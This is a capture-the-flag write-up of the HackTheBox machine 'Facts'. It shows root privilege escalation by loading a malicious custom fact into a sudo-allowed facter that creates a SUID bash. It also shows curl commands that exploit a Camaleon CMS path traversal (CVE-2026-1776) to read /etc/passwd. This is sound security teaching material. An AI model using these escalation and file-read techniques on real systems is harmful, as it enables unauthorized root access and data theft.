lrwxrwxrwx 1 root    root       9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 william william  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 william william 3771 Aug 20  2024 .bashrc
-rw-r--r-- 1 william william  807 Aug 20  2024 .profile
-rw-r--r-- 1 root    william   33 May 28 01:18 user.txt

It’s world readable, and very empty. I think this is only here to host user.txt while making it not accessible over MinIO.

This all lines up with the users with shells set in passwd:

trivia@facts:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

The trivia user can run facter as any user without a password using sudo:

trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter

Background

facter is Puppet’s cross-platform system inventory tool. Puppet uses it during catalog compilation to learn about the node it’s configuring (OS, hardware, network, mounted filesystems, installed packages, etc.). It’s written in Ruby and ships as part of the puppetlabs-facter gem (so the binary on this box is just a Ruby shim around the library):

trivia@facts:~$ file /usr/bin/facter 
/usr/bin/facter: Ruby script, ASCII text executable

The script is very simple:

#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)

It loads the cli_launcher modules, and then calls start. Ruby Gems are stored in /usr/lib/ruby/vendor_ruby/:

trivia@facts:~$ ls /usr/lib/ruby/vendor_ruby/
3.3.0  docs  facter  facter.rb  rubygems  rubygems.rb  schema  sys  sys-filesystem.rb  xmlrpc  xmlrpc.rb

This is actually a hint that this is installed legit software, which it is. Its GitHub page describes it as:

Facter is a command-line tool that gathers basic facts about nodes (systems) such as hardware details, network settings, OS type and version, and more. These facts are made available as variables in your Puppet manifests and can be used to inform conditional expressions in Puppet.

Running it without args shows that:

trivia@facts:~$ facter
disks => {
  sda => {
    model => "Virtual disk",
    serial => "6000c29d9baa1a6a7f26c811f7661c76",
    size => "10.00 GiB",
    size_bytes => 10737418240,
    type => "ssd",
    vendor => "VMware",
    wwn => "0x6000c29d9baa1a6a7f26c811f7661c76"
  }
}
dmi => {
  bios => {
    release_date => "11/12/2020",
    vendor => "Phoenix Technologies LTD",
    version => "6.00"
  },
  board => {
    manufacturer => "Intel Corporation",
    product => "440BX Desktop Reference Platform"
  },
  chassis => {
    asset_tag => "No Asset Tag",
    type => "Other"
  },
  manufacturer => "VMware, Inc.",
  product => {
    name => "VMware Virtual Platform",
    version => "None"
  }
}
facterversion => 4.10.0
filesystems => btrfs,ext2,ext3,ext4,squashfs,vfat
fips_enabled => false
hypervisors => {
  vmware => {
  }
}
identity => {
  gid => 1000,
  group => "trivia",
  privileged => false,
  uid => 1000,
  user => "trivia"
}
is_virtual => true
kernel => Linux
kernelmajversion => 6.14
kernelrelease => 6.14.0-37-generic
kernelversion => 6.14.0
load_averages => {
  15m => 0.0,
  1m => 0.0,
  5m => 0.01
}
memory => {
  swap => {
    available => "2.00 GiB",
    available_bytes => 2147479552,
    capacity => "0.00%",
    total => "2.00 GiB",
    total_bytes => 2147479552,
    used => "0 bytes",
    used_bytes => 0
  },
  system => {
    available => "2.45 GiB",
    available_bytes => 2628014080,
    capacity => "26.36%",
    total => "3.32 GiB",
    total_bytes => 3568623616,
    used => "897.04 MiB",
    used_bytes => 940609536
  }
}
mountpoints => {
  / => {
    available => "1.72 GiB",
    available_bytes => 1850445824,
    capacity => "76.04%",
    device => "/dev/mapper/ubuntu--vg-ubuntu--lv",
    filesystem => "ext4",
    options => [
      "rw",
      "relatime"
    ],
    size => "7.28 GiB",
    size_bytes => 7821811712,
    used => "5.47 GiB",
    used_bytes => 5874061312
  },
  /boot => {
    available => "124.41 MiB",
    available_bytes => 130457600,
    capacity => "67.01%",
    device => "/dev/sda2",
    filesystem => "ext4",
    options => [
      "rw",
      "relatime"
    ],
    size => "408.73 MiB",
    size_bytes => 428589056,
    used => "252.75 MiB",
    used_bytes => 265031680
  },
  /dev => {
    available => "1.62 GiB",
    available_bytes => 1739132928,
    capacity => "0%",
    device => "udev",
    filesystem => "devtmpfs",
    options => [
      "rw",
      "nosuid",
      "relatime",
      "size=1698372k",
      "nr_inodes=424593",
      "mode=755",
      "inode64"
    ],
    size => "1.62 GiB",
    size_bytes => 1739132928,
    used => "0 bytes",
    used_bytes => 0
  },
  /dev/hugepages => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "hugetlbfs",
    filesystem => "hugetlbfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "relatime",
      "pagesize=2M"
    ],
    size => "0 bytes",
    size_bytes => 0,
    used => "0 bytes",
    used_bytes => 0
  },
  /dev/mqueue => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "mqueue",
    filesystem => "mqueue",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime"
    ],
    size => "0 bytes",
    size_bytes => 0,
    used => "0 bytes",
    used_bytes => 0
  },
  /dev/pts => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "devpts",
    filesystem => "devpts",
    options => [
      "rw",
      "nosuid",
      "noexec",
      "relatime",
      "gid=5",
      "mode=600",
      "ptmxmode=000"
    ],
    size => "0 bytes",
    size_bytes => 0,
    used => "0 bytes",
    used_bytes => 0
  },
  /dev/shm => {
    available => "1.66 GiB",
    available_bytes => 1784311808,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "inode64"
    ],
    size => "1.66 GiB",
    size_bytes => 1784311808,
    used => "0 bytes",
    used_bytes => 0
  },
  /run => {
    available => "339.10 MiB",
    available_bytes => 355573760,
    capacity => "0.36%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=348500k",
      "mode=755",
      "inode64"
    ],
    size => "340.33 MiB",
    size_bytes => 356864000,
    used => "1.23 MiB",
    used_bytes => 1290240
  },
  /run/credentials/getty@tty1.service => {
    available => "1.00 MiB",
    available_bytes => 1048576,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size => "1.00 MiB",
    size_bytes => 1048576,
    used => "0 bytes",
    used_bytes => 0
  },
  /run/credentials/systemd-journald.service => {
    available => "1.00 MiB",
    available_bytes => 1048576,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size => "1.00 MiB",
    size_bytes => 1048576,
    used => "0 bytes",
    used_bytes => 0
  },
  /run/credentials/systemd-resolved.service => {
    available => "1.00 MiB",
    available_bytes => 1048576,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size => "1.00 MiB",
    size_bytes => 1048576,
    used => "0 bytes",
    used_bytes => 0
  },
  /run/lock => {
    available => "5.00 MiB",
    available_bytes => 5242880,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=5120k",
      "inode64"
    ],
    size => "5.00 MiB",
    size_bytes => 5242880,
    used => "0 bytes",
    used_bytes => 0
  },
  /run/snapd/ns => {
    available => "339.10 MiB",
    available_bytes => 355573760,
    capacity => "0.36%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=348500k",
      "mode=755",
      "inode64"
    ],
    size => "340.33 MiB",
    size_bytes => 356864000,
    used => "1.23 MiB",
    used_bytes => 1290240
  },
  /run/snapd/ns/docker.mnt => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "nsfs",
    filesystem => "nsfs",
    options => [
      "rw"
    ],
    size => "0 bytes",
    size_bytes => 0,
    used => "0 bytes",
    used_bytes => 0
  },
  /run/user/1000 => {
    available => "340.32 MiB",
    available_bytes => 356847616,
    capacity => "0.00%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "relatime",
      "size=348496k",
      "nr_inodes=87124",
      "mode=700",
      "uid=1000",
      "gid=1000",
      "inode64"
    ],
    size => "340.33 MiB",
    size_bytes => 356859904,
    used => "12.00 KiB",
    used_bytes => 12288
  },
  /snap/core22/2193 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop0",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "74.00 MiB",
    size_bytes => 77594624,
    used => "74.00 MiB",
    used_bytes => 77594624
  },
  /snap/core22/2216 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop4",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "74.00 MiB",
    size_bytes => 77594624,
    used => "74.00 MiB",
    used_bytes => 77594624
  },
  /snap/core24/1243 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop1",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "66.88 MiB",
    size_bytes => 70123520,
    used => "66.88 MiB",
    used_bytes => 70123520
  },
  /snap/core24/1267 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop7",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "66.88 MiB",
    size_bytes => 70123520,
    used => "66.88 MiB",
    used_bytes => 70123520
  },
  /snap/docker/3265 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop3",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "140.63 MiB",
    size_bytes => 147456000,
    used => "140.63 MiB",
    used_bytes => 147456000
  },
  /snap/docker/3377 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop6",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "151.50 MiB",
    size_bytes => 158859264,
    used => "151.50 MiB",
    used_bytes => 158859264
  },
  /snap/snapd/25577 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop2",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "51.00 MiB",
    size_bytes => 53477376,
    used => "51.00 MiB",
    used_bytes => 53477376
  },
  /snap/snapd/25935 => {
    available => "0 bytes",
    available_bytes => 0,
    capacity => "100%",
    device => "/dev/loop5",
    filesystem => "squashfs",
    options => [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size => "48.13 MiB",
    size_bytes => 50462720,
    used => "48.13 MiB",
    used_bytes => 50462720
  },
  /tmp => {
    available => "1.66 GiB",
    available_bytes => 1784311808,
    capacity => "0%",
    device => "tmpfs",
    filesystem => "tmpfs",
    options => [
      "rw",
      "nosuid",
      "nodev",
      "nr_inodes=1048576",
      "inode64"
    ],
    size => "1.66 GiB",
    size_bytes => 1784311808,
    used => "0 bytes",
    used_bytes => 0
  }
}
networking => {
  dhcp => "10.10.10.2",
  fqdn => "facts",
  hostname => "facts",
  interfaces => {
    br-6fd3f297dc61 => {
      bindings => [
        {
          address => "172.18.0.1",
          netmask => "255.255.0.0",
          network => "172.18.0.0"
        }
      ],
      bindings6 => [
        {
          address => "fe80::b0d4:20ff:fe2f:86b8",
          netmask => "ffff:ffff:ffff:ffff::",
          network => "fe80::",
          scope6 => "link",
          flags => [
            "permanent"
          ]
        }
      ],
      ip => "172.18.0.1",
      ip6 => "fe80::b0d4:20ff:fe2f:86b8",
      mac => "b2:d4:20:2f:86:b8",
      mtu => 1500,
      netmask => "255.255.0.0",
      netmask6 => "ffff:ffff:ffff:ffff::",
      network => "172.18.0.0",
      network6 => "fe80::",
      operational_state => "up",
      physical => false,
      scope6 => "link"
    },
    docker0 => {
      bindings => [
        {
          address => "172.17.0.1",
          netmask => "255.255.0.0",
          network => "172.17.0.0"
        }
      ],
      ip => "172.17.0.1",
      mac => "fa:b6:bc:1b:31:dd",
      mtu => 1500,
      netmask => "255.255.0.0",
      network => "172.17.0.0",
      operational_state => "down",
      physical => false
    },
    eth0 => {
      bindings => [
        {
          address => "10.129.244.96",
          netmask => "255.255.0.0",
          network => "10.129.0.0"
        }
      ],
      bindings6 => [
        {
          address => "dead:beef::a0de:adff:fe98:7d31",
          netmask => "ffff:ffff:ffff:ffff::",
          network => "dead:beef::",
          scope6 => "global",
          flags => [
          ]
        },
        {
          address => "fe80::a0de:adff:fe98:7d31",
          netmask => "ffff:ffff:ffff:ffff::",
          network => "fe80::",
          scope6 => "link",
          flags => [
            "permanent"
          ]
        }
      ],
      dhcp => "10.10.10.2",
      duplex => "full",
      ip => "10.129.244.96",
      ip6 => "dead:beef::a0de:adff:fe98:7d31",
      mac => "a2:de:ad:98:7d:31",
      mtu => 1500,
      netmask => "255.255.0.0",
      netmask6 => "ffff:ffff:ffff:ffff::",
      network => "10.129.0.0",
      network6 => "dead:beef::",
      operational_state => "up",
      physical => true,
      scope6 => "global",
      speed => 10000
    },
    lo => {
      bindings => [
        {
          address => "127.0.0.1",
          netmask => "255.0.0.0",
          network => "127.0.0.0"
        }
      ],
      bindings6 => [
        {
          address => "::1",
          netmask => "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff",
          network => "::1",
          scope6 => "host",
          flags => [
            "permanent"
          ]
        }
      ],
      ip => "127.0.0.1",
      ip6 => "::1",
      mtu => 65536,
      netmask => "255.0.0.0",
      netmask6 => "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff",
      network => "127.0.0.0",
      network6 => "::1",
      operational_state => "unknown",
      physical => false,
      scope6 => "host"
    },
    veth9ab331b => {
      bindings6 => [
        {
          address => "fe80::2805:3cff:fe54:1045",
          netmask => "ffff:ffff:ffff:ffff::",
          network => "fe80::",
          scope6 => "link",
          flags => [
            "permanent"
          ]
        }
      ],
      ip6 => "fe80::2805:3cff:fe54:1045",
      mac => "2a:05:3c:54:10:45",
      mtu => 1500,
      netmask6 => "ffff:ffff:ffff:ffff::",
      network6 => "fe80::",
      operational_state => "up",
      physical => false,
      scope6 => "link"
    }
  },
  ip => "10.129.244.96",
  ip6 => "dead:beef::a0de:adff:fe98:7d31",
  mac => "a2:de:ad:98:7d:31",
  mtu => 1500,
  netmask => "255.255.0.0",
  netmask6 => "ffff:ffff:ffff:ffff::",
  network => "10.129.0.0",
  network6 => "dead:beef::",
  primary => "eth0",
  scope6 => "global"
}
os => {
  architecture => "amd64",
  distro => {
    codename => "plucky",
    description => "Ubuntu 25.04",
    id => "Ubuntu",
    release => {
      full => "25.04",
      major => "25.04"
    }
  },
  family => "Debian",
  hardware => "x86_64",
  name => "Ubuntu",
  release => {
    full => "25.04",
    major => "25.04"
  },
  selinux => {
    enabled => false
  }
}
partitions => {
  /dev/loop0 => {
    backing_file => "/var/lib/snapd/snaps/core22_2193.snap",
    filesystem => "squashfs",
    mount => "/snap/core22/2193",
    size => "73.95 MiB",
    size_bytes => 77545472
  },
  /dev/loop1 => {
    backing_file => "/var/lib/snapd/snaps/core24_1243.snap",
    filesystem => "squashfs",
    mount => "/snap/core24/1243",
    size => "66.84 MiB",
    size_bytes => 70090752
  },
  /dev/loop2 => {
    backing_file => "/var/lib/snapd/snaps/snapd_25577.snap",
    filesystem => "squashfs",
    mount => "/snap/snapd/25577",
    size => "50.93 MiB",
    size_bytes => 53399552
  },
  /dev/loop3 => {
    backing_file => "/var/lib/snapd/snaps/docker_3265.snap",
    filesystem => "squashfs",
    mount => "/snap/docker/3265",
    size => "140.56 MiB",
    size_bytes => 147386368
  },
  /dev/loop4 => {
    backing_file => "/var/lib/snapd/snaps/core22_2216.snap",
    filesystem => "squashfs",
    mount => "/snap/core22/2216",
    size => "73.95 MiB",
    size_bytes => 77541376
  },
  /dev/loop5 => {
    backing_file => "/var/lib/snapd/snaps/snapd_25935.snap",
    filesystem => "squashfs",
    mount => "/snap/snapd/25935",
    size => "48.09 MiB",
    size_bytes => 50421760
  },
  /dev/loop6 => {
    backing_file => "/var/lib/snapd/snaps/docker_3377.snap",
    filesystem => "squashfs",
    mount => "/snap/docker/3377",
    size => "151.43 MiB",
    size_bytes => 158789632
  },
  /dev/loop7 => {
    backing_file => "/var/lib/snapd/snaps/core24_1267.snap",
    filesystem => "squashfs",
    mount => "/snap/core24/1267",
    size => "66.85 MiB",
    size_bytes => 70094848
  },
  /dev/mapper/ubuntu--vg-swap => {
    filesystem => "swap",
    size => "2.00 GiB",
    size_bytes => 2147483648,
    uuid => "27150c7f-d59e-46ce-82fd-04e71d8045b8"
  },
  /dev/mapper/ubuntu--vg-ubuntu--lv => {
    filesystem => "ext4",
    mount => "/",
    size => "7.50 GiB",
    size_bytes => 8053063680,
    uuid => "ce23845e-5b21-4d7f-aaa6-e1a7fb7f6c40"
  },
  /dev/sda1 => {
    parttype => "21686148-6449-6e6f-744e-656564454649",
    partuuid => "6953bc54-1c25-4039-9fec-8ce40bf15777",
    size => "1.00 MiB",
    size_bytes => 1048576
  },
  /dev/sda2 => {
    filesystem => "ext4",
    mount => "/boot",
    parttype => "0fc63daf-8483-4772-8e79-3d69d8477de4",
    partuuid => "438047bf-4d21-4dfd-b751-b2a0df08d9b5",
    size => "451.00 MiB",
    size_bytes => 472907776,
    uuid => "a1e91571-c013-49be-aa84-cf520de6efbf"
  },
  /dev/sda3 => {
    filesystem => "LVM2_member",
    parttype => "e6d6d379-f507-44c2-a23c-238f2a3df928",
    partuuid => "591a74e0-66a9-4b6f-8cc5-5232be19341f",
    size => "9.56 GiB",
    size_bytes => 10261364736,
    uuid => "RBL5TO-xZmr-OdNy-IbPG-bSd7-2ciV-wjssFC"
  }
}
path => /opt/.local/share/gem/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
processors => {
  cores => 2,
  count => 2,
  extensions => [
    "x86_64",
    "x86_64-v1",
    "x86_64-v2",
    "x86_64-v3"
  ],
  isa => "x86_64",
  models => [
    "AMD EPYC 7763 64-Core Processor",
    "AMD EPYC 7763 64-Core Processor"
  ],
  physicalcount => 1,
  speed => "2.45 GHz",
  threads => 1
}
ruby => {
  platform => "x86_64-linux-gnu",
  sitedir => "/usr/local/lib/site_ruby/3.3.0",
  version => "3.3.7"
}
ssh => {
  ecdsa => {
    fingerprints => {
      sha1 => "SSHFP 3 1 5f80ec0dca53d9634f2fdac8b0f1c209e9aa9073",
      sha256 => "SSHFP 3 2 823f2360b94b7620bde03b71d4f27c93f71f536ba8faface4f56bb5fd4e41598"
    },
    key => "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=",
    type => "ecdsa-sha2-nistp256"
  },
  ed25519 => {
    fingerprints => {
      sha1 => "SSHFP 4 1 60da11a56c7a2a3db7d9a1c87150ba83b23372ce",
      sha256 => "SSHFP 4 2 7f28009f0ea5a836de1e0d98edcb37f6f895ab1910e97284d209010fde5f1330"
    },
    key => "AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK",
    type => "ssh-ed25519"
  },
  rsa => {
    fingerprints => {
      sha1 => "SSHFP 1 1 a536a7ec1d9da53515731158fda1c942c1acc533",
      sha256 => "SSHFP 1 2 33a5aeb8ee69ca093062443f4525e65a9a585e6612e8f401629f96397b4f5bfc"
    },
    key => "AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xkTwFqUNFClhHoGrx2ce1vWJ+hbgmJJ4b9hUpVGOMe3AyY+h4mHpjB/rO21iG6b3e9HiB6A4LPG1lufrqY0Iv/lQdAyzPSyV9Oyy6VHi6wWcy5LUJYnoM6b0EWIZ92gfQHSeG6BV+IPYYVSL3nT9fR2oMSTltiElu+jdBguHehvYBPAyTP7xOEA6GgoGBdKqCBzVMsRIWAJanEA62jAEV66f5ALc0zk46E5zFG3oesDPQ2+ML7i8P5089NhlFq5kZST2Vc1vW+MnkR2TEWxLJASXtOnxrNN67LgzB7e0LIWekIL5zYar59okU2V3i3NTfUAYa1MjOEYJvaPhlbAx1NpmmD76NWjI3vLJNbBEbmgOPEJNGQ8RoYKBriIy1vFDR6s5SOYouF8UEdx/o+QaIpx9+mPNIbaij/gBlGnpq0iOYL9IvskxnOKhsQd0yhN+8wmTIP8ZkI7zUUuQBjX1hlGD4YGCsqRZLzJ23StySmIjABFVzNlE0viejCIOUL8=",
    type => "ssh-rsa"
  }
}
system_uptime => {
  days => 2,
  hours => 62,
  seconds => 225691,
  uptime => "2 days"
}
timezone => UTC
virtual => vmware

The version on Facts is 4.10.0:

trivia@facts:~$ facter --version
4.10.0

The --help is useful as well:

trivia@facts:~$ facter --help
Usage
=====

  facter [options] [query] [query] [...]

Options
=======
           [--color]                      Enable color output.
           [--no-color]                   Disable color output.
        -c [--config]                     The location of the config file.
           [--custom-dir]                 A directory to use for custom facts.
        -d [--debug]                      Enable debug output.
           [--external-dir]               A directory to use for external facts.
           [--hocon]                      Output in Hocon format.
        -j [--json]                       Output in JSON format.
        -l [--log-level]                  Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
           [--no-block]                   Disable fact blocking.
           [--no-cache]                   Disable loading and refreshing facts from the cache
           [--no-custom-facts]            Disable custom facts.
           [--no-external-facts]          Disable external facts.
           [--no-ruby]                    Disable loading Ruby, facts requiring Ruby, and custom facts.
           [--trace]                      Enable backtraces for custom facts.
           [--verbose]                    Enable verbose (info) output.
           [--show-legacy]                Show legacy facts when querying all facts.
        -y [--yaml]                       Output in YAML format.
           [--strict]                     Enable more aggressive error reporting.
        -t [--timing]                     Show how much time it took to resolve each fact
           [--sequential]                 Resolve facts sequentially
           [--http-debug]                 Whether to write HTTP request and responses to stderr. This should never be used in production.
        -p [--puppet]                     Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
        -v [--version]                    Print the version
           [--list-block-groups]          List block groups
           [--list-cache-groups]          List cache groups
        -h [--help]                       Help for all arguments

Exploit

--custom-dir describes itself as “A directory to use for custom facts”. That seems like something I can abuse. How to do that is also documented in gtfobins.

This page shows how to make a custom fact, and gives this example:

# hardware_platform.rb

Facter.add('hardware_platform') do
  setcode do
    Facter::Core::Execution.exec('/bin/uname --hardware-platform')
  end
end

In this example, the first line to add the hardware_platform fact to the framework happens at load time, and then the inner code running uname happens when that fact is invoked. To abuse this, I could just put malicious Ruby code in a file, and it will execute while looking for code that adds a fact. But it’s more func to create a legit fact.

Calling facter with no args will call every registered fact. Or I can pass a fact name.

I’ll create a fact at /tmp/0xdf.rb:

Facter.add('exploit') do
  setcode do
    Facter::Core::Execution.exec('touch /tmp/0xdf')
    'Malicious fact has run'
  end
end

I’ll have to make sure facter knows to load facts from /tmp, but then it runs:

trivia@facts:~$ facter --custom-dir /tmp/ exploit
Malicious fact has run
trivia@facts:~$ facter --custom-dir /tmp/ exploit
Malicious fact has run
trivia@facts:~$ ls -l /tmp/0xdf
-rw-rw-r-- 1 trivia trivia 0 May 30 16:39 /tmp/0xdf

It worked! It’s owned by trivia because I didn’t run it with sudo. I’ll remove /tmp/0xdf and run facter as root:

trivia@facts:~$ sudo facter --custom-dir /tmp/ exploit
Malicious fact has run
trivia@facts:~$ ls -l /tmp/0xdf
-rw-r--r-- 1 root root 0 May 30 16:40 /tmp/0xdf

The new file is owned by root, showing arbitrary root execution. I’ll update the fact to have it create a SetUID / SetGID bash:

Facter.add('exploit') do
  setcode do
    Facter::Core::Execution.exec('rm /var/tmp/0xdf; cp /bin/bash /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf')
    'Malicious fact has run'
  end
end

I’m using /var/tmp because /tmp is mounted with nosuid:

trivia@facts:~$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64)

When I run it again, and now there’s a SetUID / SetGID bash that provides a shell as root (when run with -p to prevent dropping privs):

trivia@facts:~$ /var/tmp/0xdf -p
0xdf-5.2#

And I can get root.txt:

0xdf-5.2# cat root.txt
a9723932************************

Beyond Root - Alternative Foothold

CVE Details

NIST defines CVE-2024-46987 as:

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. A path traversal vulnerability accessible via MediaController’s download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions). This issue may lead to Information Disclosure. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

This is patched in 2.8.2. The vulnerable code from version 2.8.0 is in the download_private_file function on lines 27-34 of media_controller.rb:

      # download private files
      def download_private_file
        cama_uploader.enable_private_mode!

        file = cama_uploader.fetch_file("private/#{params[:file]}")

        send_file file, disposition: 'inline'
      end

fetch_file is defined in either camaleon_cms_local_uploader.rb (lines 27-31) or camaleon_cms_aws_uploader.rb (lines 38-44). Which one is used depends on if the CMS is configured to use local or AWS storage.

The updated function from version 2.8.2 add a check:

      # download private files
      def download_private_file
        cama_uploader.enable_private_mode!

        file = cama_uploader.fetch_file("private/#{params[:file]}")

        return render plain: helpers.sanitize(file[:error]) if file.is_a?(Hash) && file[:error].present?

        send_file file, disposition: 'inline'
      end

This check intends to gracefully surface the error path introduced one layer down, in fetch_file. In 2.8.2, the local uploader gained a valid_folder_path? guard at the top of fetch_file:

  def fetch_file(file_name)
    return { error: 'Invalid file path' } unless valid_folder_path?(file_name)

    return file_name if file_exists?(file_name)

    { error: 'File not found' }
  end

So when the controller now passes "private/#{params[:file]}" containing ../ segments, the uploader rejects it and returns { error: 'Invalid file path' } instead of a file path.

However, no change was made to the AWS version. That’s the root of CVE-2026-1776, which became public after Facts’ release. Any deployment configured to use the S3 backend (like this box’s MinIO) doesn’t have a fix for the directory traversal. That’s CVE-2026-1776:

Camaleon CMS versions 2.4.5.0 through 2.9.0, prior to commit f54a77e, contain a path traversal vulnerability in the AWS S3 uploader implementation that allows authenticated users to read arbitrary files from the web server’s filesystem. The issue occurs in the download_private_file functionality when the application is configured to use the CamaleonCmsAwsUploader backend. Unlike the local uploader implementation, the AWS uploader does not validate file paths with valid_folder_path?, allowing directory traversal sequences to be supplied via the file parameter. As a result, any authenticated user, including low-privileged registered users, can access sensitive files such as /etc/passwd. This issue represents a bypass of the incomplete fix for CVE-2024-46987 and affects deployments using the AWS S3 storage backend.

File Read

POC

I’ll start by showing that I can read arbitrary files over the directory traversal vulnerability.

I created the user 0xdf for the admin panel. I’ll login using curl. First I need to get the CSRF token from /admin/login:

oxdf@hacky$ AUTH=$(curl -s -c cookie.jar http://facts.htb/admin/login | grep -oP 'authenticity_token" value="\K[^"]+')
oxdf@hacky$ echo $AUTH
vLLGEMLtslrmGNcW6-gAP8_YP8LDkDGri-jp4MEAPdtXcb3duGeb3IM45soauSNOtQ4IZpJN7PtpUjXOPCIKCw
oxdf@hacky$ cat cookie.jar 
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

#HttpOnly_facts.htb     FALSE   /       FALSE   0       _factsapp_session       A4tbUX6mQNs6dIiFX3eHsZP5MH2Sx8vcREMjMWQY3rLOeEDV3HSrhbiFAFsxFazssIMSJ25DsNg%2BKWHPR2fkftObTBi8Rtjlr38tN%2BXfoG1aNSkmnLYGzVL19HXPc9b3rDKhcVCQGm5FLga4nW5lHKhCSoYcLmECAut1Z%2BRHLsqBmOiywZsKwPT%2Bsi2ZXNE7JD5%2FeUGoUUxoH8FNMpKFf8n%2FdFsNbHx0pM7WhB%2Bf2QRc%2F3HzA7Lu52mI2uIe9rlV1LAAyfpUgKWHUuho3HMMTrZGwXNWRpkLCQIAJ5LbqpojSGtnUg7CehWKprsk4V%2F6UT1jnSs%3D--a9Kb%2B0BpxzsQjmiZ--p%2B6yNI7PxHTO%2BXPEHts4dg%3D%3D

Any request without a _factsapp_session cookie also gets one set in the reply. Now I’ll login:

oxdf@hacky$ curl -b cookie.jar -c cookie.jar http://facts.htb/admin/login -d "authenticity_token=$AUTH" -d "user[username]=0xdf" -d "user[password]=0xdf" -d "commit=Login"

Now that cookie jar allows me to access the admin page:

oxdf@hacky$ curl -s http://facts.htb/admin -b cookie.jar | grep "2.9.0"
                Version 2.9.0

From there, I’ll do the directory traversal to reach passwd:

oxdf@hacky$ curl -s http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd -b cookie.jar
